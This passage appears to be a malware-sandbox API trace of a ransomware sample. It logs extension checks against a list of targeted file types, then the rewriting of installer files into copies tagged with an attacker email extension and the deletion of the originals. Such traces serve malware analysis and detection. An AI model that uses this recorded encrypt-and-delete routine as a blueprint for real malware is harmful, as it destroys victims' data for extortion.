	[0062.107] lstrlenW (lpString=".bz2") returned 4
	[0062.107] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0062.107] lstrlenW (lpString=".7z") returned 3
	[0062.107] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0062.107] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0062.107] lstrlenW (lpString=".dbf") returned 4
	[0062.107] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0062.107] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0062.108] lstrlenW (lpString=".1cd") returned 4
	[0062.108] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0062.108] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0062.108] lstrlenW (lpString=".jpg") returned 4
	[0062.108] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0062.108] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0062.108] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0062.108] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0062.108] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=82374) returned 1
	[0062.108] CloseHandle (hObject=0x338) returned 1
	[0062.108] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 0x80
	[0062.108] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.108] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0062.108] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.109] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.109] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0062.109] GetLastError () returned 0x0
	[0062.109] ReadFile (in: hFile=0x338, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x141c6, lpOverlapped=0x0) returned 1
	[0062.112] WriteFile (in: hFile=0x33c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x141d0, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x141d0, lpOverlapped=0x0) returned 1
	[0062.114] ReadFile (in: hFile=0x338, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.114] WriteFile (in: hFile=0x33c, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xf6, lpOverlapped=0x0) returned 1
	[0062.114] SetEndOfFile (hFile=0x33c) returned 1
	[0062.114] CloseHandle (hObject=0x33c) returned 1
	[0062.117] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.117] SetEndOfFile (hFile=0x338) returned 1
	[0062.118] CloseHandle (hObject=0x338) returned 1
	[0062.118] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.119] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 1
	[0062.119] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0062.119] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0062.119] lstrlenW (lpString=".doc") returned 4
	[0062.119] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0062.119] lstrlenW (lpString=".docx") returned 5
	[0062.119] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0062.119] lstrlenW (lpString=".pdf") returned 4
	[0062.119] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0062.119] lstrlenW (lpString=".xls") returned 4
	[0062.119] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0062.119] lstrlenW (lpString=".xlsx") returned 5
	[0062.119] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0062.119] lstrlenW (lpString=".ppt") returned 4
	[0062.119] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0062.119] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0062.119] lstrlenW (lpString=".zip") returned 4
	[0062.119] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0062.119] lstrlenW (lpString=".rar") returned 4
	[0062.119] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0062.119] lstrlenW (lpString=".bz2") returned 4
	[0062.119] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0062.120] lstrlenW (lpString=".7z") returned 3
	[0062.120] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0062.120] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0062.120] lstrlenW (lpString=".dbf") returned 4
	[0062.120] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0062.120] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0062.120] lstrlenW (lpString=".1cd") returned 4
	[0062.120] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0062.120] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0062.120] lstrlenW (lpString=".jpg") returned 4
	[0062.120] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0062.120] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0062.120] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0062.120] lstrlenW (lpString=".doc") returned 4
	[0062.120] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0062.120] lstrlenW (lpString=".docx") returned 5
	[0062.120] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0062.120] lstrlenW (lpString=".pdf") returned 4
	[0062.120] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0062.120] lstrlenW (lpString=".xls") returned 4
	[0062.120] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0062.120] lstrlenW (lpString=".xlsx") returned 5
	[0062.120] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0062.120] lstrlenW (lpString=".ppt") returned 4
	[0062.120] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0062.120] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0062.120] lstrlenW (lpString=".zip") returned 4
	[0062.120] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0062.120] lstrlenW (lpString=".rar") returned 4
	[0062.120] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0062.121] lstrlenW (lpString=".bz2") returned 4
	[0062.121] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0062.121] lstrlenW (lpString=".7z") returned 3
	[0062.121] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0062.121] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0062.121] lstrlenW (lpString=".dbf") returned 4
	[0062.121] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0062.121] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0062.121] lstrlenW (lpString=".1cd") returned 4
	[0062.121] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0062.121] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44
	[0062.121] lstrlenW (lpString=".jpg") returned 4
	[0062.121] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0062.121] lstrcmpiW (lpString1=".rtf", lpString2=".html") returned 1
	[0062.121] lstrlenW (lpString="eula.rtf") returned 8
	[0062.121] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0062.121] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=3683) returned 1
	[0062.121] CloseHandle (hObject=0x338) returned 1
	[0062.121] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 0x80
	[0062.122] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.122] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0062.122] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.122] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.122] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0062.124] GetLastError () returned 0x0
	[0062.124] ReadFile (in: hFile=0x338, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0xe63, lpOverlapped=0x0) returned 1
	[0062.637] WriteFile (in: hFile=0x340, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xe70, lpOverlapped=0x0) returned 1
	[0062.638] ReadFile (in: hFile=0x338, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.638] WriteFile (in: hFile=0x340, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xe4, lpOverlapped=0x0) returned 1
	[0062.638] SetEndOfFile (hFile=0x340) returned 1
	[0062.638] CloseHandle (hObject=0x340) returned 1
	[0062.639] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.639] SetEndOfFile (hFile=0x338) returned 1
	[0062.640] CloseHandle (hObject=0x338) returned 1
	[0062.640] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.640] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 1
	[0062.641] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0062.641] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0062.641] lstrlenW (lpString=".doc") returned 4
	[0062.641] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0062.641] lstrlenW (lpString=".docx") returned 5
	[0062.641] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0062.641] lstrlenW (lpString=".pdf") returned 4
	[0062.641] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0062.641] lstrlenW (lpString=".xls") returned 4
	[0062.641] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0062.641] lstrlenW (lpString=".xlsx") returned 5
	[0062.641] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0062.641] lstrlenW (lpString=".ppt") returned 4
	[0062.641] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0062.641] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0062.641] lstrlenW (lpString=".zip") returned 4
	[0062.641] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0062.641] lstrlenW (lpString=".rar") returned 4
	[0062.641] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0062.641] lstrlenW (lpString=".bz2") returned 4
	[0062.641] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0062.641] lstrlenW (lpString=".7z") returned 3
	[0062.641] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0062.641] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0062.641] lstrlenW (lpString=".dbf") returned 4
	[0062.641] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0062.641] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0062.641] lstrlenW (lpString=".1cd") returned 4
	[0062.641] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0062.641] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0062.641] lstrlenW (lpString=".jpg") returned 4
	[0062.641] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0062.642] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0062.642] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0062.642] lstrlenW (lpString=".doc") returned 4
	[0062.642] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0062.642] lstrlenW (lpString=".docx") returned 5
	[0062.642] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0062.642] lstrlenW (lpString=".pdf") returned 4
	[0062.642] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0062.642] lstrlenW (lpString=".xls") returned 4
	[0062.642] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0062.642] lstrlenW (lpString=".xlsx") returned 5
	[0062.642] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0062.642] lstrlenW (lpString=".ppt") returned 4
	[0062.642] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0062.642] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0062.642] lstrlenW (lpString=".zip") returned 4
	[0062.642] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0062.642] lstrlenW (lpString=".rar") returned 4
	[0062.642] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0062.642] lstrlenW (lpString=".bz2") returned 4
	[0062.642] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0062.642] lstrlenW (lpString=".7z") returned 3
	[0062.642] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0062.642] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0062.642] lstrlenW (lpString=".dbf") returned 4
	[0062.642] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0062.642] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0062.642] lstrlenW (lpString=".1cd") returned 4
	[0062.642] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0062.642] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0062.643] lstrlenW (lpString=".jpg") returned 4
	[0062.643] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0062.643] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0062.643] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0062.643] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0062.643] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=60684) returned 1
	[0062.643] CloseHandle (hObject=0x338) returned 1
	[0062.643] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 0x80
	[0062.643] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.643] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0062.643] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.643] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.644] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0062.644] GetLastError () returned 0x0
	[0062.644] ReadFile (in: hFile=0x338, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0xed0c, lpOverlapped=0x0) returned 1
	[0062.646] WriteFile (in: hFile=0x340, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xed10, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xed10, lpOverlapped=0x0) returned 1
	[0062.648] ReadFile (in: hFile=0x338, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.648] WriteFile (in: hFile=0x340, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xf6, lpOverlapped=0x0) returned 1
	[0062.648] SetEndOfFile (hFile=0x340) returned 1
	[0062.648] CloseHandle (hObject=0x340) returned 1
	[0062.650] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.651] SetEndOfFile (hFile=0x338) returned 1
	[0062.652] CloseHandle (hObject=0x338) returned 1
	[0062.652] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.652] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 1
	[0062.652] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0062.652] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0062.652] lstrlenW (lpString=".doc") returned 4
	[0062.652] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0062.652] lstrlenW (lpString=".docx") returned 5
	[0062.652] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0062.652] lstrlenW (lpString=".pdf") returned 4
	[0062.653] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0062.653] lstrlenW (lpString=".xls") returned 4
	[0062.653] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0062.653] lstrlenW (lpString=".xlsx") returned 5
	[0062.653] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0062.653] lstrlenW (lpString=".ppt") returned 4
	[0062.653] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0062.653] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0062.653] lstrlenW (lpString=".zip") returned 4
	[0062.653] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0062.653] lstrlenW (lpString=".rar") returned 4
	[0062.653] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0062.653] lstrlenW (lpString=".bz2") returned 4
	[0062.653] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0062.653] lstrlenW (lpString=".7z") returned 3
	[0062.653] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0062.653] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0062.653] lstrlenW (lpString=".dbf") returned 4
	[0062.653] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0062.653] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0062.653] lstrlenW (lpString=".1cd") returned 4
	[0062.653] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0062.653] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0062.653] lstrlenW (lpString=".jpg") returned 4
	[0062.653] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0062.653] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0062.653] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0062.653] lstrlenW (lpString=".doc") returned 4
	[0062.653] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0062.653] lstrlenW (lpString=".docx") returned 5
	[0062.654] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0062.654] lstrlenW (lpString=".pdf") returned 4
	[0062.654] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0062.654] lstrlenW (lpString=".xls") returned 4
	[0062.654] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0062.654] lstrlenW (lpString=".xlsx") returned 5
	[0062.654] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0062.654] lstrlenW (lpString=".ppt") returned 4
	[0062.654] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0062.654] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0062.654] lstrlenW (lpString=".zip") returned 4
	[0062.654] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0062.654] lstrlenW (lpString=".rar") returned 4
	[0062.654] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0062.654] lstrlenW (lpString=".bz2") returned 4
	[0062.654] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0062.654] lstrlenW (lpString=".7z") returned 3
	[0062.654] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0062.654] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0062.654] lstrlenW (lpString=".dbf") returned 4
	[0062.654] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0062.654] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0062.654] lstrlenW (lpString=".1cd") returned 4
	[0062.654] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0062.654] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0062.654] lstrlenW (lpString=".jpg") returned 4
	[0062.654] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0062.654] lstrcmpiW (lpString1=".rtf", lpString2=".html") returned 1
	[0062.655] lstrlenW (lpString="eula.rtf") returned 8
	[0062.655] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0062.655] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=4015) returned 1
	[0062.655] CloseHandle (hObject=0x338) returned 1
	[0062.655] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 0x80
	[0062.656] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.656] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0062.656] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
